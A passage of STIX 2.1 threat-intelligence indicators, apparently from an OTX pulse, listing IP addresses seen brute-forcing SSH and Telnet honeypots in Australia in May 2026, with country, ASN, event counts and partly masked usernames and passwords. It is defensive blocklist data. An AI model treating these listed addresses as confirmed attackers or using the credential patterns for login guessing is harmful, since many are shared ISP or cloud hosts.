      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--687d953d-2b38-4445-9e0a-bfa6603529f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.184.142.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--4427b8a8-9ad0-48a6-9aaa-07860cda0f94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.212.246.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--33dd7446-ef4e-41fd-b583-cb5615097c8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.181.177.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications.",
      "id": "indicator--a31a9bb2-76d9-475f-8949-57cd800eee75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.65.122.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--61c5c136-fc3b-4dd9-ae18-684fab0f1d2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.253.5.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--7e9d5e80-4218-4fdb-a82b-4f8a5538e08a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.208.130.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132746. Organisation(s): Infolink System.",
      "id": "indicator--fce09045-a24e-496e-aec7-67750741f1f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.160.198.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--21356365-ee1a-4b93-b82e-2a698f6655d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.121.89.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--2ce33d71-9485-44e9-bb16-5a6767ca49d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.25.184.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 320. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t, 3**********4, u****u, d******r, e***********h. Passwords observed (masked): 3***********4, 3**********4, 1******!, 1******8, 1********k.",
      "id": "indicator--f8f6a93b-8bc0-496d-b01a-478fc9d5bf5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.71.136.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u****u, t*****n, 3**********4, a******3, d****y. Passwords observed (masked): 1****6, 1*****c, 1****e, 3***********4, 3*******3.",
      "id": "indicator--fbb63bf8-f292-4e86-8693-af1867f81d4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.209.12.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265943. Organisation(s): RCTelecom Telecomunicacoes LTDA-ME.",
      "id": "indicator--8582c73f-760e-4291-85ad-2f7661c294b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.196.160.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 271596. Organisation(s): MaxNet Telecom. Usernames observed (masked): r**t, u****u, 3**********4, d******r, e***********h. Passwords observed (masked): 1******!, 1******8, 1********k, 1******A, 1***6.",
      "id": "indicator--3caaec08-7c37-4179-9216-d243396a5872",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.99.80.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--4b2065b7-c6fa-4cf2-91b4-978364aa07c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.92.217.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--40755b28-e1c3-44e3-b3f4-9abe55e18340",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.205.5.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--a7c37dbe-651c-4335-840b-c46e2784332e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.239.79.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--5d9f34a8-c784-489d-9695-7de1b4f02102",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T07:15:10.000Z",
      "valid_until": "2026-06-07T07:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--d597d4ec-0f03-451c-92fa-99ae42c1a590",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.189.8.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, m********2.",
      "id": "indicator--6279d620-e3b7-4610-9e16-3854c6d7ab48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.43.228.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--540ef106-354a-4cfb-8bff-579989eb8aab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 45700. Organisation(s): PT Starlink Services Indonesia.",
      "id": "indicator--9e3cf705-c180-4ebb-90f6-d8fd0a7e94a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.65.238.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--2b2002dd-78b8-46ba-a193-7bdcc7dfff38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.109.39.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LT. ASN(s): 1257. Organisation(s): Tele2 SWIPnet.",
      "id": "indicator--c6366742-6ea6-4f4d-91e7-c7d05f737c8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.103.6.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--0e3a343b-1d0d-486e-89a7-deb6b160b8ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.53.188.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--8e8e6442-f084-435c-9b1c-6de72aaf00d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.160.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--099a7055-fbcf-450d-b71c-2abf00033158",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.32.86.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NO. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--b39eb31f-0428-42b3-b833-496add85c3ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.185.81.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 200446. Organisation(s): SELNET LLC.",
      "id": "indicator--5e1cafb5-e87a-4ebf-960b-73b6ae86338c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.20.214.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T08:15:10.000Z",
      "valid_until": "2026-06-07T08:15:08.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--dcf945cc-673c-4490-bc2d-8d831ff62415",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.235.216.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): a***n, r**t, , u**r. Passwords observed (masked): , a***n, p******d, r**t.",
      "id": "indicator--2bac9f30-c897-4a7a-90c5-d45407bba945",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 680. Organisation(s): Verein zur Foerderung eines Deutschen Forschungsnetzes e.V..",
      "id": "indicator--43ab7c46-c528-4310-aaa5-4143a0c9e7e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.19.117.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--ecd0ea8c-edbb-4f18-9646-a63e04c593c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.46.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n. Passwords observed (masked): 1*******9.",
      "id": "indicator--6028bc25-faa1-429f-94e6-e696cebc855f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--fe58d46a-1e64-4590-a8cf-2e74703b2a31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
      "created": "2026-05-06T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1511. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, d****y, d******r, a***n, ***. Passwords observed (masked): 1****6, 1******8, ***, p******d, 1***5.",
      "id": "indicator--cbf6bd74-bee5-49f1-a605-d02697ba0d19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T09:15:05.000Z",
      "valid_until": "2026-06-07T09:15:03.000Z"
    },
    {
